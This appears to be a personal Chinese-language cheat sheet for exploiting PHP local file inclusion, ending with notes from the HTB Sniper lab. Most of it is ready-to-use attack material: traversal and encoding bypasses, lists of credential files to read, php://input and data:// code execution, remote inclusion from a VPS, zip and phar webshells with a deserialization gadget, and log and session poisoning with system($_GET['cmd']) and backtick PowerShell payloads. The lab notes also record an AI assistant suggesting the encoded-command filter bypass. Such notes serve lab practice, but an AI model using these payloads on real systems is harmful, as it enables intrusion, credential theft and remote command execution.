0x00 决策树与坑
决策树
- 根据系统判断读什么文件,通常就用第一个固定有的,用不同的形式读
- 优先思考可以
RCE的路径来尝试 - 遇到
waf进行判断,再决定如何绕过
三条经验(踩过的坑,写在最前面提醒自己)
C:/windows/win.ini读不到 ≠ 没漏洞 —— 大概率是:被 WAF / IIS Request Filtering 拦了。换成/windows/win.ini(无盘符、无冒号)立刻能读。- 别用
php://filter判断”是不是 include” ——file_get_contents()同样支持它,两者都会返回 base64。要传?f=index.php看返回的是渲染后的页面还是源码原文。 ../试两次不通就换形式,别换目标 —— 路径形式、编码、分隔符、大小写是四个独立维度,一个维度穷举完再下结论。
0x01 最小化尝试
通常是尝试读取某个文件确认其漏洞存在
通常读取的文件包括linux中的
/etc/shadow (可能需要 /etc/shadow 配合 /etc/passwd 破解)
/etc/hostname
/etc/passwd
windows 中的
C:\Windows\win.ini (首选)
以 C:\Windows\win.ini 为例通常返回为
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
[MCI Extensions.BAK]
对于 C:\Windows\win.ini 有几种形式
C:\Windows\win.ini (绝对路径)
\Windows\win.ini
../../../windows/win.ini
0x02 目标文件
一般优先考虑可以 RCE 的路径,没招了才来这枚举
- 伪协议
- 日志包含
- session包含
- 直接读取密钥
2.1 Linux 系统关键文件路径
- 系统信息
/etc/passwd,/etc/shadow,/etc/group/etc/hostname,/etc/issue,/etc/motd,/etc/hosts/proc/self/environ,/proc/self/cmdline,/proc/mounts,/proc/version
- 配置文件
/etc/apache2/apache2.conf,/etc/nginx/nginx.conf/etc/my.cnf,/etc/mysql/my.cnf(MySQL)/etc/crontab,/var/spool/cron/crontabs/<username>(定时任务)/etc/sudoers(需root权限)
- 凭据与历史
/root/.ssh/id_rsa,/root/.ssh/authorized_keys)/root/.bash_history,/root/.mysql_history
- 日志文件
/var/log/apache2/access.log,/var/log/apache2/error.log/var/log/nginx/access.log, `/var/log/nginx/error.log/var/log/auth.log(SSH登录日志),/var/log/vsftpd.log(FTP日志)/var/log/httpd/access_log(RHEL/CentOS)
- 会话文件
- `/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php5/sess_<PHPSESSID>(旧版PHP)
2.2 Windows 系统关键文件路径
- 系统信息
C:\Windows\win.ini,C:\boot.ini(旧版)C:\Windows\System32\drivers\etc\hosts
- 配置文件
C:\Windows\System32\inetsrv\MetaBase.xml(IIS 6)C:\Windows\System32\inetsrv\config\applicationHost.config(IIS 7+)C:\Windows\php.ini, `C:\xampp\apache\bin\php.iniC:\Program Files\MySQL\my.ini,C:\Windows\my.ini
- 凭据与敏感信息
C:\Windows\repair\sam,C:\Windows\System32\config\SAM)C:\Users\<username>\NTUSER.DATC:\Windows\Panther\Unattended.xml(可能含安装密码)
- 应用源码与配置
C:\inetpub\wwwroot\web.configC:\inetpub\wwwroot\global.asa
- 日志文件
C:\xampp\apache\logs\access.log,error.logC:\Program Files\Apache Group\Apache\logs\access.logC:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log(IIS日志)C:\Windows\debug\NetSetup.log(网络安装日志)
- 会话文件
C:\Windows\Temp\sess_<PHPSESSID>或C:\xampp\tmp\sess_<PHPSESSID>
0x03 选择不同的路径形式
以 C:\windows\win.ini 为例
3.1 实战决策
做下面几次尝试
1. /windows/win.ini ← 根路径,无冒号无穿越,最优
2. C:/windows/win.ini ← 绝对路径,简单直接
3. C%3a/windows/win.ini ← 编码冒号
4. ..%5c..%5c..%5cwindows%5cwin.ini ← 相对穿越
5. //127.0.0.1/c$/windows/win.ini ← UNC
6. php://filter/convert.base64-encode/resource=C:/windows/win.ini
3.2 完全限定绝对路径
C:\Windows\win.ini
C:/Windows/win.ini
:可能被 waf 检测,实战常用编码绕过
C%3a/Windows/win.ini
3.3 根路径
\Windows\win.ini
/Windows/win.ini
%5cWindows%5cwin.ini
通常在 c 盘下
3.4 相对路径穿越
..\..\..\..\Windows\win.ini
../../../../Windows/win.ini
..%5c..%5c..%5c..%5cWindows%5cwin.ini
- 优点是可以突破“应用拼接了前缀目录”的场景
- 例如代码是
include("templates/" . $lang),就用../../逃出去
3.5 UNC 路径
用 \\server\share\file形式
\\127.0.0.1\c$\Windows\win.ini
\\localhost\c$\Windows\win.ini
//127.0.0.1/c$/Windows/win.ini
%5c%5c127.0.0.1%5cc$%5cWindows%5cwin.ini
完全绕过路径检测
3.6 伪协议 (php环境)
php://filter/convert.base64-encode/resource=C:/Windows/win.ini
php://filter/convert.base64-encode/resource=/Windows/win.ini
php://filter/convert.base64-encode/resource=index.php
可以用于读取源码,需要 php 启用设置
3.7 file:// 协议
file://C:/Windows/win.ini
file:///C:/Windows/win.ini
file:///Windows/win.ini
0x04 伪协议利用 (php 环境)
| 协议 | 用途 | 依赖 |
|---|---|---|
php://filter | 读源码、编码绕过 | 无 |
php://input | 执行 POST 里的 PHP 代码 | allow_url_include=On |
data:// | 执行 URL 里的 PHP 代码 | allow_url_include=On |
http:// / https:// | 远程文件包含 | allow_url_include=On |
zip:// | 包含上传的 zip 内文件 | 能上传 |
phar:// | 包含 phar 内文件 + 反序列化 | 能上传 |
file:// | 读本地文件(默认允许) | 通常可用 |
expect:// | 直接 RCE | 需 expect 扩展(少见) |
4.1 php://filter—— 最重要
因为设置默认可用
基本语法
php://filter/<过滤器链>/resource=<目标文件>
或
php://filter/read=<过滤器>/resource=<目标>
php://filter/write=<过滤器>/resource=<目标>
最常用 base64 编码读取源码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=index.php
4.2 php://input —— 执行 POST 代码
4.2.1 条件
allow_url_include = On- PHP 5.x / 7.x 常见配置
4.2.2 请求
POST /vuln.php?file=php://input HTTP/1.1
Host: target
Content-Type: text/plain
Content-Length: 20
<?php echo "POC_123";?>
响应中出现 POC_123 即可确认代码执行,可以执行 php 反弹 shell
4.3 data:// —— URL 里直接写代码
4.3.1 条件
allow_url_include = On
4.3.2 语法
data://text/plain,<数据>
data://text/plain;base64,<base64数据>
4.3.3 示例
?file=data://text/plain,<?php echo "POC_123";?>
?file=data://text/plain;base64,PD9waHAgZWNobyAiUE9DXzEyMyI7Pz4=
4.4 http:// / https:// —— 远程文件包含(RFI)
4.4.1 条件
allow_url_include = On- 目标能出网到你的 VPS
4.4.2 步骤
VPS 上放 poc.txt:
<?php echo "POC_123";?>
请求:
?file=http://VPS_IP/poc.txt
?file=https://VPS_IP/poc.txt
4.5 zip:// —— 包含上传的 zip
4.5.1 条件
- 能上传 zip 文件
- 知道上传后的路径
4.5.2 步骤
本地打包:
echo '<?php system($_GET["cmd"]);?>' > shell.php
zip poc.zip shell.php
上传 poc.zip,得到路径:
/uploads/poc.zip
请求:
?file=zip://./uploads/poc.zip%23shell.php
?file=zip://C:/xampp/htdocs/uploads/poc.zip%23shell.php
注意:
#必须写成%23zip://后面跟 zip 文件的路径#后面跟 zip 内的文件名
4.5.3 绕过后缀检查
如果上传只允许 .jpg:
zip poc.jpg shell.php
或把 shell 命名为 shell.jpg,zip 内文件名不重要,包含时用 #shell.jpg。
4.6 phar:// —— 包含 phar + 反序列化
4.6.1 条件
- 能上传文件
- PHP >= 5.3
4.6.2 基本用法
?file=phar://./uploads/poc.phar/shell.php
?file=phar://./uploads/poc.jpg/shell.php
phar 文件本质是特殊格式的压缩包,扩展名可以是 .phar、.jpg、.txt。
4.6.3 反序列化(重要)
phar:// 在解析时会触发 phar 元数据的反序列化,即使代码里只是 file_exists($file) 也可能触发。
构造 phar:
<?php
class Evil {
public function __destruct() {
system($_GET['cmd']);
}
}
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
?>
上传后,只要目标有:
file_exists($_GET['file']);
就能触发反序列化。
4.6.4 绕扩展名
phar://./uploads/poc.jpg/test.txt
phar://./uploads/poc.gif/test.txt
phar://./uploads/poc.txt/test.txt
phar 只认内容,不认扩展名。
0x05 日志包含
日志包含是 LFI 升级到 RCE 最经典、最稳定的路径。核心思路:把 PHP 代码写进日志文件,再用 LFI 包含这个日志文件,日志里的 PHP 代码就被执行了。
5.1 Apache 日志
5.1.1 默认路径
linux:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log (RHEL/CentOS)
/var/log/httpd/error_log
/var/log/apache/access.log
/usr/local/apache/logs/access_log
/usr/local/apache2/logs/access_log
/opt/lampp/logs/access_log (XAMPP)
windows:
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log
C:\wamp\logs\access.log
C:\wamp64\logs\access.log
5.1.2 日志格式
Apache 默认 combined 格式:
127.0.0.1 - - [10/Oct/2024:12:34:56 +0000] "GET /index.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 ..."
哪些字段可控:
| 字段 | 是否可控 | 说明 |
|---|---|---|
| 客户端 IP | 否(除非伪造 XFF) | |
| 时间 | 否 | |
| 请求行(URL) | 是 | GET /<payload> HTTP/1.1 |
| 状态码 | 否 | |
| UA | 是 | 最容易注入 |
| Referer | 是 | 也容易注入 |
5.1.3 注入方式
方式 1:User-Agent
curl -A "<?php system(\$_GET['cmd']);?>" http://target/
或 Burp 里改 UA:
User-Agent: <?php system($_GET['cmd']);?>
方式 2:URL 路径
curl "http://target/<?php system(\$_GET['cmd']);?>"
注意 URL 里的 <?php ...?> 需要 URL 编码:
/%3C%3Fphp%20system(%24_GET%5B%27cmd%27%5D)%3B%3F%3E
方式 3:Referer
Referer: <?php system($_GET['cmd']);?>
方式4:用户名密码注入
一些登入数据也同样会被记入到日志中
5.1.4 常见坑
- 日志文件不存在:路径猜错,读
/etc/apache2/apache2.conf看CustomLog配置 - 日志文件不可读:权限问题,Apache 日志通常只有 root 和 adm 组可读,PHP 进程用户可能读不到
- 日志被截断:默认日志行很长,
<?php可能在响应里被截断 - WAF 拦 UA:payload 里含
<?php,WAF 可能拦,用编码绕
5.1.5 绕过 WAF 拦 UA
User-Agent: <?php system($_GET['cmd']);?>
User-Agent: <?PHP system($_GET['cmd']);?>
User-Agent: <?php system($_GET[cmd]);?> (去掉引号)
User-Agent: <?=`$_GET[cmd]`;?> (反引号执行)
User-Agent: <?php echo `$_GET[cmd]`;?>
或分片注入:
User-Agent: <?php
X-Forwarded-For: system($_GET['cmd']);
日志里可能拼成一行,也可能分行,看服务器配置。
5.2 Nginx 日志
5.2.1 默认路径
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/nginx/logs/access.log
/var/log/nginx/access_log
Windows:
C:\nginx\logs\access.log
C:\nginx\logs\error.log
5.2.2 注入方式
Nginx 日志格式和 Apache 类似,UA、Referer、URL 都可注入。
注意:Nginx 默认只记录请求行、UA、Referer。如果配置了 log_format,可注入字段可能不同。
5.2.3 Nginx + PHP-FPM 的坑
Nginx 本身不解析 PHP,PHP-FPM 解析。日志包含时:
access.log里的 PHP 代码会被 PHP-FPM 执行
- 但 Nginx 日志的路径要在
open_basedir允许范围内
5.2.4 路径获取
读 Nginx 配置:
?file=/etc/nginx/nginx.conf
?file=/etc/nginx/sites-enabled/default
?file=/etc/nginx/conf.d/default.conf
?file=/usr/local/nginx/conf/nginx.conf
搜索 access_log。
5.3 其他日志
5.3.1 SSH 日志
/var/log/auth.log (Debian/Ubuntu)
/var/log/secure (RHEL/CentOS)
/var/log/sshd.log
注入:用 SSH 连接,用户名里带 payload:
ssh '<?php system($_GET["cmd"]);?>'@target
SSH 日志会记录:
Failed password for invalid user <?php system($_GET["cmd"]);?> from ...
但注意:SSH 日志里的用户名可能被过滤特殊字符。
5.3.2 FTP 日志
/var/log/vsftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/ftp.log
注入:FTP 登录,用户名带 payload。
ftp
open target
user '<?php system($_GET["cmd"]);?>' anything
5.3.3 Mail 日志
/var/log/mail.log
/var/log/maillog
注入:发邮件,收件人/主题带 payload。
5.3.4 MySQL 日志
/var/log/mysql/error.log
/var/log/mysql/query.log
/var/lib/mysql/mysql.log
注入:如果能连 MySQL,执行查询:
SELECT '<?php system($_GET["cmd"]);?>';
日志会记录这条查询。
5.3.5 PHP 错误日志
/var/log/php_errors.log
/var/log/php/error.log
C:\xampp\php\logs\php_error_log
注入:触发一个 PHP 错误,错误信息里带 payload。比如:
?file=<?php system($_GET['cmd']);?>
如果应用把 $file 的值写进错误信息:
PHP Warning: include(<?php system($_GET['cmd']);?>): failed to open stream
错误日志里就有 payload 了。
5.4 日志包含速查表
| 服务 | Linux 路径 | Windows 路径 |
|---|---|---|
| Apache | /var/log/apache2/access.log | C:\xampp\apache\logs\access.log |
| Nginx | /var/log/nginx/access.log | C:\nginx\logs\access.log |
| IIS | — | C:\inetpub\logs\LogFiles\W3SVC1\u_exYYMMDD.log |
| SSH | /var/log/auth.log | — |
| FTP | /var/log/vsftpd.log | — |
/var/log/mail.log | — | |
| MySQL | /var/log/mysql/error.log | C:\xampp\mysql\data\mysql_error.log |
| PHP | /var/log/php_errors.log | C:\xampp\php\logs\php_error_log |
0x06 Session 包含
Session 包含是日志包含的“近亲”,但更可控。核心思路:把 PHP 代码写进 session 文件,再用 LFI 包含 session 文件执行代码。
比日志包含的优势:内容可控、路径可预测、不依赖日志写入权限。
6.1 原理
1. 应用把用户输入存进 $_SESSION
2. PHP 把 session 数据序列化后写进 sess_<PHPSESSID> 文件
3. 你用 LFI 包含这个 session 文件
4. PHP 把 session 文件当源码解析,里面的 payload 被执行
关键点:session 文件的内容格式是 key|序列化值,你的 payload 会被包在中间,但只要 <?php ... ?> 完整出现,就能执行。
6.2 Session 文件路径
6.2.1 Linux
/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php5/sess_<PHPSESSID>
/var/lib/php7/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
/var/tmp/sess_<PHPSESSID>
/opt/lampp/temp/sess_<PHPSESSID>
6.2.2 Windows
C:\Windows\Temp\sess_<PHPSESSID>
C:\xampp\tmp\sess_<PHPSESSID>
C:\wamp\tmp\sess_<PHPSESSID>
C:\wamp64\tmp\sess_<PHPSESSID>
6.2.3 如何确定路径
方法 1:读 php.ini
?file=/etc/php/7.4/apache2/php.ini
?file=/etc/php.ini
?file=C:/xampp/php/php.ini
搜索 session.save_path。
方法 2:用 phpinfo()
如果目标有 phpinfo 页面,直接看 session.save_path。
方法 3:用 php://filter 读 php.ini
?file=php://filter/convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini
方法 4:常见默认值
Linux: /var/lib/php/sessions (Debian/Ubuntu)
/var/lib/php/session (CentOS/RHEL)
/tmp (默认,很多系统)
Windows: C:\Windows\Temp
C:\xampp\tmp
6.3 Session 文件内容格式
PHP 默认 session 序列化格式:
key1|s:5:"value";key2|i:123;
举例:如果 $_SESSION['username'] = 'admin':
username|s:5:"admin";
如果你能把 <?php system($_GET['cmd']);?> 存进 session:
username|s:30:"<?php system($_GET['cmd']);?>";
包含时,PHP 看到:
username|s:30:"<?php system($_GET['cmd']);?>";
PHP 会解析 <?php ... ?> 部分并执行。
6.4 绕过技巧
大部分技巧同 LFI 漏洞利用#0x07 绕过
6.4.1 黑名单绕过
一次遇到
allow <> ? '
deny $ _ ( ) ; [ ] - :
可用采用
<?=`powershell /enc [base64-command]`?>
来绕过,其中[base64-command] 替换成命令
注意 base64 需要 UTF-16LF 格式 而 kali 中的 base64 默认 UTF-8
原本使用 -EncodedCommand 虽然 %2D 绕过 - 过滤 但 流程中不对其解码,导致无法执行。
0x07 绕过
7.1 编码绕过
要注意,经过编码后能否继续执行,有可能编码后,服务端没有进行解码,导致无法运行
| 目标字符 | 一层 | 双层 | UTF-8 | IIS %u |
|---|---|---|---|---|
. | %2e | %252e | %c0%ae | %u002e |
/ | %2f / %2F | %252f | %c0%af | %u002f |
\ | %5c | %255c | %c1%9c | %u005c |
: | %3a | %253a | — | %u003a |
# | %23 | %2523 | — | %u0023 |
? | %3f | %253f | — | %u003f |
% | %25 | — | — | %u0025 |
7.2 大小写绕过(关键字拦截)
例如
Windows → WINDOWS WiNdOwS wInDoWs
php://filter → PHP://FILTER PhP://FiLtEr
System32 → SYSTEM32 SyStEm32
%2f vs %2F
%5c vs %5C
%3a vs %3A
%00 vs %0 (不同,%0 非法)
7.3 路径穿越匹配删除绕过
| 过滤规则 | 绕过方法 |
|---|---|
删除 ../ | ....//、..././ |
删除 ..\ | ....\\、..%5c |
删除 .. | %2e%2e、%c0%ae%c0%ae |
删除 / | %2f、%5c(Windows) |
删除 \ | %5c、/(Windows) |
正则匹配 \.\./ | ..%2f、%2e%2e%2f |
| 只允许字母数字 | 用 php://filter 或 UNC |
检查 realpath | 用 php://filter 或符号链接 |
| 限制在某个目录 | 穿越出去,或 php://filter 绕前缀 |
7.4 截断绕过
用于绕过那些拼接后缀的代码
用 %00 可以阻止拼接上后缀
例如
../../etc/passwd%00 + .php (原本)
../../etc/passwd (实际)
只存在于PHP 版本 < 5.3.4 / < 5.2.14
7.5 Windows 分隔符替换
| 分隔符 | 原文 | URL 编码 |
|---|---|---|
| 正斜杠 | / | %2f 或 %2F |
| 反斜杠 | \ | %5c 或 %5C 在 |
在 url 需要使用编码形式
7.6 字符黑名单:用 PHP 语法消掉被拦字符
实战场景:靶机把
$ _ ( ) ; [ ]全拦了,system($_GET['cmd'])直接废掉。
这时候要做的不是”换个编码”,而是换语法 ——
用 PHP 的语言特性把被拦字符从 payload 里彻底消掉。
7.6.1 思路
原本 payload 特征过于明显,大量$ _ ( ) ; [ ] 符号
<?php system($_GET['cmd']);?>
将其替换成
<?=`id`?>
进行尝试
7.6.2 两条关键语言特性
① <?= 就是 <?php echo 的缩写
<?=`id`?> 等价于 <?php echo `id`;?>
② 反引号 ` cmd 是 shell_exec` 的运算符形式
<?php `whoami` ?>
7.6.3 首选 payload
<?=`whoami`?>
windows 中需要调用 powershell 运行
<?=`powershell whoami`?>
后续利用可用使用 base64 编码来绕过这些限制
<?=`powershell -encodedCommand [base64]`?>
如果 - 被栏可以使用
<?=`powershell /enc [base64]`?>
这里要求 powerhsell 为特定版本 7.0.0 至 7.2.0-preview.5
注意 powershell 中的 base64 编码是 UTF-16LE 格式
echo -n 'whoami' | iconv -t UTF-16LE | base64 -w0
0x08 实战练习
8.1 Sniper 靶机
8.1.1 最小化确认
先是再博客页面有一个参数 lang 指向 php 文件
说明是 php 环境,有 LFI 的概率和 伪协议利用的概率很高
先进行了几次尝试
C:/windows/win.ini
C%3a/windows/win.ini
../../../../windows/win.ini
都不行于是认定没有漏洞
但实际上
//127.0.0.1/c$/windows/win.ini
/windows/win.ini
可用,错过机会
8.1.2 利用尝试
尝试伪协议失败 猜测可能是 : 被过滤,遂放弃
但是 session 包含可用
包含点为 使用 session 注册或登入之后的用户名
/var/lib/php/sessions/sess_<PHPSESSID>
可查看到用户名,考虑通过用户名注入
先尝试了
<?php system(\$_GET['cmd']);?>
失败,可虑可能是某些字符被过滤
经过测试,规则如下
allow <> ? '
deny $ _ ( ) ; [ ]
到此处束手无策,寻求帮助后得到
<?=`powershell whoami`?>
等价命令,后续思考 reverse shell 因为过滤规则也束手无策ai 提示,使用
powershell -EncodedCommand <base64>
命令绕过检测,但发现 - 也被过滤
尝试编码绕过
使用 %2D 替代 - 后 成功绕过,但命令似乎没有执行,经过排查 ai 说base64 命令默认使用 UTF-8 来编码
而 -EncodedCommand 需要 UTF-16LE来编码
需要用这个命令
echo -n 'ping -4 10.10.16.20' | iconv -t UTF-16LE | base64 -w0
在尝试之后,还是不行,发现是 %2D 没有被解码,而是被原样存储了
更换成 /enc 替代 -EncodedCommand
<?=`powershell /enc dwBoAG8AYQBtAGkA`?>